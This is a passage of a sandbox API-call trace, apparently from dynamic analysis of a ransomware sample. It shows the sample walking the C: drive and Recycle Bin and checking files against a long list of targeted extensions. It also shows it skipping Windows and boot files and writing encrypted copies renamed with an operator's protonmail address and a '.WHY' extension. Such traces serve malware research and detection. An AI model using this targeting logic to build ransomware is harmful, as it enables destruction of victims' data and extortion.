liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0280.809] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0280.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 44 os_tid = 0x670 [0206.694] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x3bd42b8 [0206.695] lstrlenW (lpString="C:") returned 2 [0206.695] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x37afd00 | out: lpFindFileData=0x37afd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x5e9048 [0206.697] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0206.697] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0206.697] lstrlenW (lpString="$Recycle.Bin") returned 12 [0206.697] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0206.697] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x3be42c0 [0206.698] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0206.698] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x37afa84 | out: lpFindFileData=0x37afa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x609318 [0206.699] FindNextFileW (in: hFindFile=0x609318, lpFindFileData=0x37afa84 | out: lpFindFileData=0x37afa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0206.699] FindNextFileW (in: hFindFile=0x609318, lpFindFileData=0x37afa84 | out: lpFindFileData=0x37afa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x134c6640, ftLastAccessTime.dwHighDateTime=0x1d5e0c9, ftLastWriteTime.dwLowDateTime=0x134c6640, ftLastWriteTime.dwHighDateTime=0x1d5e0c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0206.699] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0206.699] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0206.699] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0206.699] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0206.699] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x3bf42c8 [0206.701] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0206.701] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x37af808 | out: lpFindFileData=0x37af808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x134c6640, ftLastAccessTime.dwHighDateTime=0x1d5e0c9, ftLastWriteTime.dwLowDateTime=0x134c6640, ftLastWriteTime.dwHighDateTime=0x1d5e0c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x620200 [0206.701] FindNextFileW (in: hFindFile=0x620200, lpFindFileData=0x37af808 | out: lpFindFileData=0x37af808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x134c6640, ftLastAccessTime.dwHighDateTime=0x1d5e0c9, ftLastWriteTime.dwLowDateTime=0x134c6640, ftLastWriteTime.dwHighDateTime=0x1d5e0c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0206.701] FindNextFileW (in: hFindFile=0x620200, lpFindFileData=0x37af808 | out: lpFindFileData=0x37af808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x134c6640, ftCreationTime.dwHighDateTime=0x1d5e0c9, ftLastAccessTime.dwLowDateTime=0x134c6640, ftLastAccessTime.dwHighDateTime=0x1d5e0c9, ftLastWriteTime.dwLowDateTime=0x134ec7a0, ftLastWriteTime.dwHighDateTime=0x1d5e0c9, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0206.702] lstrlenW (lpString="desktop.ini") returned 11 [0206.702] lstrlenW (lpString=".1cd") returned 4 [0206.702] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0206.702] lstrlenW (lpString=".3ds") returned 4 [0206.702] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0206.702] lstrlenW (lpString=".3fr") returned 4 [0206.702] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0206.702] lstrlenW (lpString=".3g2") returned 4 [0206.702] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0206.702] lstrlenW (lpString=".3gp") returned 4 [0206.702] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0206.702] lstrlenW (lpString=".7z") returned 3 [0206.702] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0206.703] lstrlenW (lpString=".accda") returned 6 [0206.703] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0206.703] lstrlenW (lpString=".accdb") returned 6 [0206.703] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0206.703] lstrlenW (lpString=".accdc") returned 6 [0206.703] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0206.703] lstrlenW (lpString=".accde") returned 6 [0206.703] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0206.703] lstrlenW (lpString=".accdt") returned 6 [0206.703] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0206.703] lstrlenW (lpString=".accdw") returned 6 [0206.703] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0206.703] lstrlenW (lpString=".adb") returned 4 [0206.704] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0206.704] lstrlenW (lpString=".adp") returned 4 [0206.704] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0206.704] lstrlenW (lpString=".ai") returned 3 [0206.704] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0206.704] lstrlenW (lpString=".ai3") returned 4 [0206.704] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0206.704] lstrlenW (lpString=".ai4") returned 4 [0206.704] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0206.704] lstrlenW (lpString=".ai5") returned 4 [0206.704] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0206.704] lstrlenW (lpString=".ai6") returned 4 [0206.704] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0206.704] lstrlenW (lpString=".ai7") returned 4 [0206.704] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0206.705] lstrlenW (lpString=".ai8") returned 4 [0206.705] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0206.705] lstrlenW (lpString=".anim") returned 5 [0206.705] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0206.705] lstrlenW (lpString=".arw") returned 4 [0206.705] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0206.705] lstrlenW (lpString=".as") returned 3 [0206.705] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0206.705] lstrlenW (lpString=".asa") returned 4 [0206.705] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0206.705] lstrlenW (lpString=".asc") returned 4 [0206.705] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0206.706] lstrlenW (lpString=".ascx") returned 5 [0206.706] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0206.706] lstrlenW (lpString=".asm") returned 4 [0206.706] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0206.706] lstrlenW (lpString=".asmx") returned 5 [0206.706] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0206.706] lstrlenW (lpString=".asp") returned 4 [0206.706] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0206.706] lstrlenW (lpString=".aspx") returned 5 [0206.706] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0206.706] lstrlenW (lpString=".asr") returned 4 [0206.706] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0206.706] lstrlenW (lpString=".asx") returned 4 [0206.706] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0206.707] lstrlenW (lpString=".avi") returned 4 [0206.707] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0206.707] lstrlenW (lpString=".avs") returned 4 [0206.707] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0206.707] lstrlenW (lpString=".backup") returned 7 [0206.707] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0206.707] lstrlenW (lpString=".bak") returned 4 [0206.707] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0206.707] lstrlenW (lpString=".bay") returned 4 [0206.707] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0206.707] lstrlenW (lpString=".bd") returned 3 [0206.707] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0206.708] lstrlenW (lpString=".bin") returned 4 [0206.708] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0206.708] lstrlenW (lpString=".bmp") returned 4 [0206.708] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0206.708] lstrlenW (lpString=".bz2") returned 4 [0206.708] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0206.708] lstrlenW (lpString=".c") returned 2 [0206.708] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0206.708] lstrlenW (lpString=".cdr") returned 4 [0206.708] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0206.708] lstrlenW (lpString=".cer") returned 4 [0206.708] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0206.709] lstrlenW (lpString=".cf") returned 3 [0206.709] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0206.709] lstrlenW (lpString=".cfc") returned 4 [0206.710] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0206.710] lstrlenW (lpString=".cfm") returned 4 [0206.710] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0206.710] lstrlenW (lpString=".cfml") returned 5 [0206.710] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0206.710] lstrlenW (lpString=".cfu") returned 4 [0206.710] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0206.710] lstrlenW (lpString=".chm") returned 4 [0206.710] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0206.710] lstrlenW (lpString=".cin") returned 4 [0206.710] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0206.710] lstrlenW (lpString=".class") returned 6 [0206.711] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0206.711] lstrlenW (lpString=".clx") returned 4 [0206.711] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0206.711] lstrlenW (lpString=".config") returned 7 [0206.711] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0206.711] lstrlenW (lpString=".cpp") returned 4 [0206.711] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0206.711] lstrlenW (lpString=".cr2") returned 4 [0206.711] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0206.711] lstrlenW (lpString=".crt") returned 4 [0206.711] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0206.711] lstrlenW (lpString=".crw") returned 4 [0206.711] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0206.712] lstrlenW (lpString=".cs") returned 3 [0206.712] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0206.712] lstrlenW (lpString=".css") returned 4 [0206.712] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0206.712] lstrlenW (lpString=".csv") returned 4 [0206.712] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0206.712] lstrlenW (lpString=".cub") returned 4 [0206.712] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0206.712] lstrlenW (lpString=".dae") returned 4 [0206.712] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0206.712] lstrlenW (lpString=".dat") returned 4 [0206.712] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0206.712] lstrlenW (lpString=".db") returned 3 [0206.713] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0206.713] lstrlenW (lpString=".dbf") returned 4 [0206.713] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0206.713] lstrlenW (lpString=".dbx") returned 4 [0206.713] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0206.713] lstrlenW (lpString=".dc3") returned 4 [0206.713] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0206.713] lstrlenW (lpString=".dcm") returned 4 [0206.713] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0206.713] lstrlenW (lpString=".dcr") returned 4 [0206.713] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0206.713] lstrlenW (lpString=".der") returned 4 [0206.713] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0206.713] lstrlenW (lpString=".dib") returned 4 [0206.714] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0206.714] lstrlenW (lpString=".dic") returned 4 [0206.714] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0206.714] lstrlenW (lpString=".dif") returned 4 [0206.714] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0206.714] lstrlenW (lpString=".divx") returned 5 [0206.714] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0206.714] lstrlenW (lpString=".djvu") returned 5 [0206.714] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0206.714] lstrlenW (lpString=".dng") returned 4 [0206.714] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0206.714] lstrlenW (lpString=".doc") returned 4 [0206.714] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0206.715] lstrlenW (lpString=".docm") returned 5 [0206.715] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0206.715] lstrlenW (lpString=".docx") returned 5 [0206.715] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0206.715] lstrlenW (lpString=".dot") returned 4 [0206.715] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0206.715] lstrlenW (lpString=".dotm") returned 5 [0206.715] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0206.715] lstrlenW (lpString=".dotx") returned 5 [0206.715] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0206.715] lstrlenW (lpString=".dpx") returned 4 [0206.715] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0206.715] lstrlenW (lpString=".dqy") returned 4 [0206.716] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0206.716] lstrlenW (lpString=".dsn") returned 4 [0206.716] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0206.716] lstrlenW (lpString=".dt") returned 3 [0206.716] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0206.716] lstrlenW (lpString=".dtd") returned 4 [0206.716] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0206.716] lstrlenW (lpString=".dwg") returned 4 [0206.716] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0206.716] lstrlenW (lpString=".dwt") returned 4 [0206.716] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0206.716] lstrlenW (lpString=".dx") returned 3 [0206.716] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0206.716] lstrlenW (lpString=".dxf") returned 4 [0206.716] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0206.717] lstrlenW (lpString=".edml") returned 5 [0206.717] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0206.717] lstrlenW (lpString=".efd") returned 4 [0206.717] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0206.717] lstrlenW (lpString=".elf") returned 4 [0206.717] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0206.717] lstrlenW (lpString=".emf") returned 4 [0206.717] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0206.717] lstrlenW (lpString=".emz") returned 4 [0206.717] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0206.717] lstrlenW (lpString=".epf") returned 4 [0206.717] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0206.718] lstrlenW (lpString=".eps") returned 4 [0206.718] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0206.718] lstrlenW (lpString=".epsf") returned 5 [0206.718] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0206.718] lstrlenW (lpString=".epsp") returned 5 [0206.718] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0206.718] lstrlenW (lpString=".erf") returned 4 [0206.718] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0206.718] lstrlenW (lpString=".exr") returned 4 [0206.718] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0206.718] lstrlenW (lpString=".f4v") returned 4 [0206.718] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0206.718] lstrlenW (lpString=".fido") returned 5 [0206.718] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0206.719] lstrlenW (lpString=".flm") returned 4 [0206.719] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0206.719] lstrlenW (lpString=".flv") returned 4 [0206.719] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0206.719] lstrlenW (lpString=".frm") returned 4 [0206.719] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0206.719] lstrlenW (lpString=".fxg") returned 4 [0206.719] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0206.719] lstrlenW (lpString=".geo") returned 4 [0206.719] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0206.719] lstrlenW (lpString=".gif") returned 4 [0206.719] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0206.719] lstrlenW (lpString=".grs") returned 4 [0206.719] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0206.720] lstrlenW (lpString=".gz") returned 3 [0206.720] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0206.720] lstrlenW (lpString=".h") returned 2 [0206.720] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0206.720] lstrlenW (lpString=".hdr") returned 4 [0206.720] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0206.720] lstrlenW (lpString=".hpp") returned 4 [0206.720] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0206.720] lstrlenW (lpString=".hta") returned 4 [0206.720] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0206.720] lstrlenW (lpString=".htc") returned 4 [0206.720] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0206.720] lstrlenW (lpString=".htm") returned 4 [0206.721] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0206.721] lstrlenW (lpString=".html") returned 5 [0206.721] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0206.721] lstrlenW (lpString=".icb") returned 4 [0206.721] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0206.721] lstrlenW (lpString=".ics") returned 4 [0206.721] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0206.721] lstrlenW (lpString=".iff") returned 4 [0206.721] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0206.721] lstrlenW (lpString=".inc") returned 4 [0206.721] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0206.721] lstrlenW (lpString=".indd") returned 5 [0206.722] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0206.722] lstrlenW (lpString=".ini") returned 4 [0206.722] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0206.722] lstrlenW (lpString="desktop.ini") returned 11 [0206.722] lstrlenW (lpString=".WHY") returned 4 [0206.722] lstrcmpiW (lpString1=".WHY", lpString2=".ini") returned 1 [0206.722] lstrlenW (lpString="desktop.ini") returned 11 [0206.722] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0206.722] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0206.722] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0206.722] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0206.723] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0206.723] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0206.723] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0206.723] lstrcmpiW (lpString1="winhost.exe", lpString2="desktop.ini") returned 1 [0206.723] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0206.723] FindNextFileW (in: hFindFile=0x620200, lpFindFileData=0x37af808 | out: lpFindFileData=0x37af808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xbb3abec0, ftCreationTime.dwHighDateTime=0x1d5e0c8, ftLastAccessTime.dwLowDateTime=0xbb3abec0, ftLastAccessTime.dwHighDateTime=0x1d5e0c8, ftLastWriteTime.dwLowDateTime=0xbb4b6860, ftLastWriteTime.dwHighDateTime=0x1d5e0c8, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[mr.crypteur@protonmail.com].WHY", cAlternateFileName="DESKTO~1.WHY")) returned 1 [0206.724] lstrlenW (lpString="desktop.ini.id-9C354B42.[mr.crypteur@protonmail.com].WHY") returned 56 [0206.724] lstrlenW (lpString=".1cd") returned 4 [0206.724] lstrcmpiW (lpString1=".1cd", lpString2=".WHY") returned -1 [0206.724] lstrlenW (lpString=".3ds") returned 4 [0206.724] lstrcmpiW (lpString1=".3ds", lpString2=".WHY") returned -1 [0206.724] lstrlenW (lpString=".3fr") returned 4 [0206.724] lstrcmpiW (lpString1=".3fr", lpString2=".WHY") returned -1 [0206.724] lstrlenW (lpString=".3g2") returned 4 [0206.724] lstrcmpiW (lpString1=".3g2", lpString2=".WHY") returned -1 [0207.097] lstrlenW (lpString=".3gp") returned 4 [0207.097] lstrcmpiW (lpString1=".3gp", lpString2=".WHY") returned -1 [0207.097] lstrlenW (lpString=".7z") returned 3 [0207.097] lstrcmpiW (lpString1=".7z", lpString2="WHY") returned -1 [0207.098] lstrlenW (lpString=".accda") returned 6 [0207.098] lstrcmpiW (lpString1=".accda", lpString2="m].WHY") returned -1 [0207.098] lstrlenW (lpString=".accdb") returned 6 [0207.098] lstrcmpiW (lpString1=".accdb", lpString2="m].WHY") returned -1 [0207.098] lstrlenW (lpString=".accdc") returned 6 [0207.098] lstrcmpiW (lpString1=".accdc", lpString2="m].WHY") returned -1 [0207.098] lstrlenW (lpString=".accde") returned 6 [0207.098] lstrcmpiW (lpString1=".accde", lpString2="m].WHY") returned -1 [0207.098] lstrlenW (lpString=".accdt") returned 6 [0207.098] lstrcmpiW (lpString1=".accdt", lpString2="m].WHY") returned -1 [0207.098] lstrlenW (lpString=".accdw") returned 6 [0207.099] lstrcmpiW (lpString1=".accdw", lpString2="m].WHY") returned -1 [0207.099] lstrlenW (lpString=".adb") returned 4 [0207.099] lstrcmpiW (lpString1=".adb", lpString2=".WHY") returned -1 [0207.099] lstrlenW (lpString=".adp") returned 4 [0207.099] lstrcmpiW (lpString1=".adp", lpString2=".WHY") returned -1 [0207.099] lstrlenW (lpString=".ai") returned 3 [0207.099] lstrcmpiW (lpString1=".ai", lpString2="WHY") returned -1 [0207.099] lstrlenW (lpString=".ai3") returned 4 [0207.099] lstrcmpiW (lpString1=".ai3", lpString2=".WHY") returned -1 [0207.099] lstrlenW (lpString=".ai4") returned 4 [0207.100] lstrcmpiW (lpString1=".ai4", lpString2=".WHY") returned -1 [0207.100] lstrlenW (lpString=".ai5") returned 4 [0207.100] lstrcmpiW (lpString1=".ai5", lpString2=".WHY") returned -1 [0207.100] lstrlenW (lpString=".ai6") returned 4 [0207.100] lstrcmpiW (lpString1=".ai6", lpString2=".WHY") returned -1 [0207.100] lstrlenW (lpString=".ai7") returned 4 [0207.100] lstrcmpiW (lpString1=".ai7", lpString2=".WHY") returned -1 [0207.100] lstrlenW (lpString=".ai8") returned 4 [0207.100] lstrcmpiW (lpString1=".ai8", lpString2=".WHY") returned -1 [0207.100] lstrlenW (lpString=".anim") returned 5 [0207.100] lstrcmpiW (lpString1=".anim", lpString2="].WHY") returned -1 [0207.100] lstrlenW (lpString=".arw") returned 4 [0207.101] lstrcmpiW (lpString1=".arw", lpString2=".WHY") returned -1 [0207.101] lstrlenW (lpString=".as") returned 3 [0207.101] lstrcmpiW (lpString1=".as", lpString2="WHY") returned -1 [0207.101] lstrlenW (lpString=".asa") returned 4 [0207.101] lstrcmpiW (lpString1=".asa", lpString2=".WHY") returned -1 [0207.101] lstrlenW (lpString=".asc") returned 4 [0207.101] lstrcmpiW (lpString1=".asc", lpString2=".WHY") returned -1 [0207.101] lstrlenW (lpString=".ascx") returned 5 [0207.101] lstrcmpiW (lpString1=".ascx", lpString2="].WHY") returned -1 [0207.101] lstrlenW (lpString=".asm") returned 4 [0207.101] lstrcmpiW (lpString1=".asm", lpString2=".WHY") returned -1 [0207.101] lstrlenW (lpString=".asmx") returned 5 [0207.101] lstrcmpiW (lpString1=".asmx", lpString2="].WHY") returned -1 [0207.101] lstrlenW (lpString=".asp") returned 4 [0207.101] lstrcmpiW (lpString1=".asp", lpString2=".WHY") returned -1 [0207.102] lstrlenW (lpString=".aspx") returned 5 [0207.102] lstrcmpiW (lpString1=".aspx", lpString2="].WHY") returned -1 [0207.102] lstrlenW (lpString=".asr") returned 4 [0207.102] lstrcmpiW (lpString1=".asr", lpString2=".WHY") returned -1 [0207.102] lstrlenW (lpString=".asx") returned 4 [0207.102] lstrcmpiW (lpString1=".asx", lpString2=".WHY") returned -1 [0207.102] lstrlenW (lpString=".avi") returned 4 [0207.102] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0207.102] lstrlenW (lpString=".avs") returned 4 [0207.102] lstrcmpiW (lpString1=".avs", lpString2=".WHY") returned -1 [0207.102] lstrlenW (lpString=".backup") returned 7 [0207.102] lstrcmpiW (lpString1=".backup", 